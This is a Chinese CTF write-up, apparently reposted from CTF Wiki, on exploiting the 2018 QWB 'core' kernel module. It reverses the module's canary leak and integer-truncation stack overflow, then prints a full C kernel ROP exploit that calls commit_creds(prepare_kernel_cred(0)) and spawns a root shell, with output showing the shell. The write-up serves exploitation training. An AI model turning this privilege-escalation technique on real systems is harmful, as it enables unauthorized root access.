前言 转载自 CTF Wiki kernel rop 根据学习情况略有修改
2018 强网杯-core 题目给的vmlinux好像有点问题,ropper出来基地址不一样,请使用下面的extract-vmlinux提取vmlinux
分析 题目给了四个文件: bzImage, core.cpio,start.sh以及vmlinux
其中vmlinux信息如下:
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=205c9e8b26bc8e0575a11029310d2ac00844f97c, not stripped
静态链接,没有除去符号表。可以认为vmlinux是未经过压缩的kernel文件,而bzImage可以理解未压缩后的文件。具体可以看What is the difference between the following kernel Makefile terms: vmLinux, vmlinuz, vmlinux.bin, zimage & bzimage?
vmlinux未经压缩,因此我们可以从中找到一些gadge以便利用, 这里wiki作者推荐使用Ropper 来寻找gadget, 而不是ROPgadget
如果题目没有给vmlinux,可以使用extract-vmlinux 来提取
CISCN2017_babydriver ./extract-vmlinux ./bzImage > vmlinux CISCN2017_babydriver file vmlinux vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped
看一下start.sh
发现内核开启kaslr保护
解压core.cpio后,看一下init
➜ give_to_player file core.cpio core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix ➜ give_to_player mkdir core ➜ give_to_player cd core ➜ core mv ../core.cpio core.cpio.gz ➜ core gunzip ./core.cpio.gz ➜ core cpio -idm < ./core.cpio 104379 blocks ➜ core bat init ───────┬───────────────────────────────────────────────────────────────── │ File: init ───────┼───────────────────────────────────────────────────────────────── 1 │ 2 │ mount -t proc proc /proc 3 │ mount -t sysfs sysfs /sys 4 │ mount -t devtmpfs none /dev 5 │ /sbin/mdev -s 6 │ mkdir -p /dev/pts 7 │ mount -vt devpts -o gid=4,mode=620 none /dev/pts 8 │ chmod 666 /dev/ptmx 9 │ cat /proc/kallsyms > /tmp/kallsyms 10 │ echo 1 > /proc/sys/kernel/kptr_restrict 11 │ echo 1 > /proc/sys/kernel/dmesg_restrict 12 │ ifconfig eth0 up 13 │ udhcpc -i eth0 14 │ ifconfig eth0 10.0.2.15 netmask 255.255.255.0 15 │ route add default gw 10.0.2.2 16 │ insmod /core.ko 17 │ 18 │ poweroff -d 120 -f & 19 │ setsid /bin/cttyhack setuidgid 1000 /bin/sh 20 │ echo 'sh end!\n' 21 │ umount /proc 22 │ umount /sys 23 │ 24 │ poweroff -d 0 -f ───────┴───────────────────────────────────────────────────────────────── ➜ core
其中:
第 9 行中kallsyms的内容保存到了/tmp/kallsyms中,那么我们就能从/tmp/kallsyms中读取commit_creds,prepare_kernel_cred的函数的地址了 第 10 行把kptr_restrict设为 1,这样就不能通过/proc/kallsyms查看函数的地址,但是第 9 行已经把其中的信息保存到了一个可读的文件,这句就无关紧要了 第 11 行把dmesg_restrict设为 1, 这样就不能通过dmesg查看kernel的信息了 第 18 行设置了定时关机, 为了避免做题时产生干扰,直接把这句删掉以后重新打包,方便我们分析 同时发现一个 shell 脚本gen_cpio.sh
➜ core bat gen_cpio.sh ───────┬───────────────────────────────────────────────────────────────── │ File: gen_cpio.sh ───────┼───────────────────────────────────────────────────────────────── 1 │ find . -print0 \ 2 │ | cpio --null -ov --format=newc \ 3 │ | gzip -9 > $1 ───────┴───────────────────────────────────────────────────────────────── ➜ core
从名称和内容都可以看出这是一个方便打包的脚本,我们修改好init后重新打包,尝试运行 kernel
➜ core nano init ➜ core rm core.cpio ➜ core ./gen_cpio.sh core.cpio . ./bin ./bin/ash ...... ...... ./vmlinux 105403 blocks ➜ core ls bin core.ko gen_cpio.sh lib linuxrc root sys usr core.cpio etc init lib64 proc sbin tmp vmlinux ➜ core mv core.cpio .. ➜ core cd .. ➜ give_to_player ./start.sh qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5] [ 0.027857] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending select for 10.0.2.15 udhcpc: lease of 10.0.2.15 obtained, lease time 86400 / $
但这时候又遇到了新问题,内核运行不起来,从报错信息中能看到是因为分配的内存过小, start.sh中-m分配是64M,修改为128M,就能运行起来了。
对模块进行检查
➜ give_to_player check --file core.ko RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH core.ko
开启了Canary保护,用 IDA 打开core.ko进行分析
主要函数如下:
core_release core_write core_read core_copy_func core_ioctl exit_core 其中:
**init_module()**注册/proc/core
__int64 init_module () { core_proc = proc_create("core" , 438LL , 0LL , &core_fops); printk("\x016core: created /proc/core entry\n" ); return 0LL ; }
**exit_core()**删除/proc/core
__int64 exit_core () { __int64 result; if ( core_proc ) result = remove_proc_entry("core" ); return result; }
core_ioctl() 定义了三条命令,分别调用 core_read() , core_copy_func() 和设置全局变量 off
__int64 __fastcall core_ioctl (__int64 a1, int a2, __int64 a3) { __int64 v3; v3 = a3; switch ( a2 ) { case 0x6677889B : core_read(a3); break ; case 0x6677889C : printk(&unk_2CD); off = v3; break ; case 0x6677889A : printk(&unk_2B3); core_copy_func(v3); break ; } return 0LL ; }
core_read() 从 v4[off] 拷贝 64 个字节到用户空间, 但要注意的是全局变量off使我们能够控制的,因此可以合理的控制off来leak canary和一些地址
unsigned __int64 __fastcall core_read (__int64 a1) { __int64 v1; __int64 *v2; signed __int64 i; unsigned __int64 result; __int64 v5; unsigned __int64 v6; v1 = a1; v6 = __readgsqword(0x28 u); printk(&unk_25B); printk(&unk_275); v2 = &v5; for ( i = 16LL ; i; --i ) { *(_DWORD *)v2 = 0 ; v2 = (__int64 *)((char *)v2 + 4 ); } strcpy ((char *)&v5, "Welcome to the QWB CTF challenge.\n" ); result = copy_to_user(v1, (char *)&v5 + off, 64LL ); if ( !result ) return __readgsqword(0x28 u) ^ v6; __asm { swapgs } return result; }
core_copy_func() 从全局变量name中拷贝数据到局部变量中,长度是由我们指定的,但要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了
void __fastcall core_copy_func (signed __int64 a1) { char v1[64 ]; unsigned __int64 v2; v2 = __readgsqword(0x28 u); printk("\x016core: called core_writen" ); if ( a1 > 63 ) printk("\x016Detect Overflow" ); else qmemcpy(v1, name, (unsigned __int16)a1); }
core_write() 向全局变量 name 上写,这样通过 core_write() 和 core_copy_func() 就可以控制 Ropchain 了
signed __int64 __fastcall core_write (__int64 a1, __int64 a2, unsigned __int64 a3) { unsigned __int64 v3; v3 = a3; printk("\x016core: called core_writen" ); if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) ) return (unsigned int )v3; printk("\x016core: error copying data from userspacen" ); return 0xFFFFFFF2 LL; }
思路 经过如上的分析,可以得出以下的思路:
通过 ioctl 设置 off,然后通过 core_read() leak 出 canary 通过 core_write() 向 name 写,构造 ropchain 通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop 通过 rop 执行 commit_creds(prepare_kernel_cred(0)) 返回用户态,通过 system(“/bin/sh”) 等起 shell 解释:
如何获得 commit_creds(),prepare_kernel_cred() 的地址?/tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址 如何返回用户态?swapgs; iretq,需要设置 cs, rflags 等信息,可以写一个函数保存这些信息 size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void save_stats () {asm ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r" (user_cs), "=r" (user_ss), "=r" (user_eflags),"=r" (user_sp) : : "memory" ); }
为什么要这么麻烦返回用户态呢?我们想做的大多数有用的事情在用户态那里要容易得多 在内核空间里,我们很难: 调试 qemu 内置有 gdb 的接口, 可以通过 help 进行查看
➜ qwb2018-core qemu-system-x86_64 --help |grep gdb -gdb dev wait for gdb connection on 'dev' -s shorthand for -gdb tcp::1234
即可以通过 -gdb tcp:port 来指定,也可以 -s 来开启默认调试端口,start.sh 中已经有了 -s,不必再自己设置。
另外通过 gdb ./vmlinux 启动时,虽然加载了 kernel 的符号表,但没有加载驱动 core.ko 的符号表,可以通过 add-symbol-file core.ko textaddr 加载
pwndbg> help add-symbol-file Load symbols from FILE, assuming FILE has been dynamically loaded. Usage: add-symbol-file FILE ADDR [-readnow | -readnever | -s SECT-NAME SECT-ADDR]... ADDR is the starting address of the file's text. Each ' -s' argument provides a section name and address, and should be specified if the data and bss segments are not contiguous with the text. SECT-NAME is a section name to be loaded at SECT-ADDR. The ' -readnow' option will cause GDB to read the entire symbol file immediately. This makes the command slower, but may make future operations faster. The ' -readnever' option will prevent GDB from reading the symbol file' ssymbolic debug information.
.text 段的地址可以通过 /sys/modules/core/section/.text 来查看,查看需要 root 权限,因此为了方便调试,我们再改一下 init
setsid /bin/cttyhack setuidgid 0 /bin/sh
这样重新用打包以后,启动时就是root权限了
➜ give_to_player ./start.sh qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5] [ 0.024759] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending select for 10.0.2.15 udhcpc: lease of 10.0.2.15 obtained, lease time 86400 insmod: can' t read '/core.ko' : No such file or directory/ root /
接着就可以看.text段的地址了
偏移计算:
➜ core python2 Python 2.7.17 (default, Apr 15 2020, 17:20:14) [GCC 7.5.0] on linux2 Type "help" , "copyright" , "credits" or "license" for more information. >>> from pwn import * >>> vmlinux = ELF("./vmlinux" ) [*] '/mnt/d/Users/Lantern/Desktop/note/pwn_note/kernal/linux_kernel_pwn-master/qwb2018-core/give_to_player/core/vmlinux' Arch: amd64-64-little Version: 4.15.8 RELRO: No RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0xffffffff81000000) RWX: Has RWX segments >>> hex(vmlinux.sym['commit_creds' ] - 0xffffffff81000000) '0x9c8e0' >>>
get root shell exp:
#include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void spawn_shell () { if (!getuid()) { system("/bin/sh" ); } else { puts ("[*] spwan shell error!" ); } exit (0 ); } size_t commit_creds = 0 , prepare_kernel_cred = 0 ;size_t raw_vmlinux_base = 0xffffffff81000000 ;size_t vmlinux_base = 0 ;size_t find_symbols () { FILE* kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[*] open kallsyms error!" ); exit (0 ); } char buf[0x30 ] = {0 }; while (fgets(buf, 0x30 , kallsyms_fd)) { if (commit_creds & prepare_kernel_cred) { return 0 ; } if (strstr (buf, "commit_creds" ) && !commit_creds) { char hex[20 ] = {0 }; strncpy (hex, buf, 0x10 ); sscanf (hex, "%llx" , &commit_creds); printf ("[*] commit_creds addr: %p\n" , commit_creds); vmlinux_base = commit_creds - 0x9c8e0 ; printf ("[*] vmlinux_base addr: %p\n" , vmlinux_base); } if (strstr (buf, "prepare_kernel_cred" ) && !prepare_kernel_cred) { char hex[20 ] = {0 }; strncpy (hex, buf, 0x10 ); sscanf (hex, "%llx" , &prepare_kernel_cred); printf ("[*] prepare_kernel_cred addr: %p\n" , prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0 ; printf ("[*] vmlinux_base addr: %p\n" , vmlinux_base); } } if (!(prepare_kernel_cred & commit_creds)) { puts ("[*] Error!" ); exit (0 ); } } size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__ ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] status has been saved." ); } void set_off (int fd, long long idx) { printf ("[*] set off to %ld\n" , idx); ioctl(fd, 0x6677889C , idx); } void core_read (int fd, char *buf) { puts ("[*] read to buf." ); ioctl(fd, 0x6677889B , buf); } void core_copy_func (int fd, long long size) { printf ("[*] copy from user with size: %ld\n" , size); ioctl(fd, 0x6677889A , size); } int main () { save_status(); int fd = open("/proc/core" , 2 ); if (fd < 0 ) { puts ("[*] open /proc/core error!" ); } find_symbols(); ssize_t offset = vmlinux_base - raw_vmlinux_base; set_off(fd, 0x40 ); char buf[0x40 ] = {0 }; core_read(fd, buf); size_t canary = ((size_t *)buf)[0 ]; printf ("[*] canary: %p\n" , canary); size_t rop[0x1000 ] = {0 }; int i; for (i = 0 ; i < 10 ; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds; rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0 ; rop[i++] = 0xffffffff81050ac2 + offset; rop[i++] = (size_t )spawn_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, 0x800 ); core_copy_func(fd, 0xffffffffffff0000 | (0x100 )); return 0 ; }
完整思路就是用rop链达到执行commit_creds(prepare_kernel_cred(0))以提权目的, 之后用swapgs; iretq返回到用户态 执行用户空间的system("/bin/sh")获取shell
编译:
gcc exploit.c -statoc -masm=intel -g -o exploit
使用 intel 汇编需要加上 -masm=intel
➜ give_to_player cp exploit core/tmp/ ➜ give_to_player cd core ➜ give_to_player ./gen_cpio.sh core.cpio .... ➜ give_to_player cp core.cpio .. ➜ give_to_player cd .. ➜ give_to_player ./start.sh ...... / $ ls /tmp/ exploit kallsyms / $ id uid=1000(chal) gid=1000(chal) groups=1000(chal) / $ /tmp/exploit [*]status has been saved. commit_creds addr: 0xffffffffbd09c8e0 vmlinux_base addr: 0xffffffffbd000000 prepare_kernel_cred addr: 0xffffffffbd09cce0 [*]set off to 64 [*]read to buf. [+]canary: 0x6be486f377bb8600 [*]copy from user with size: -65280 / uid=0(root) gid=0(root)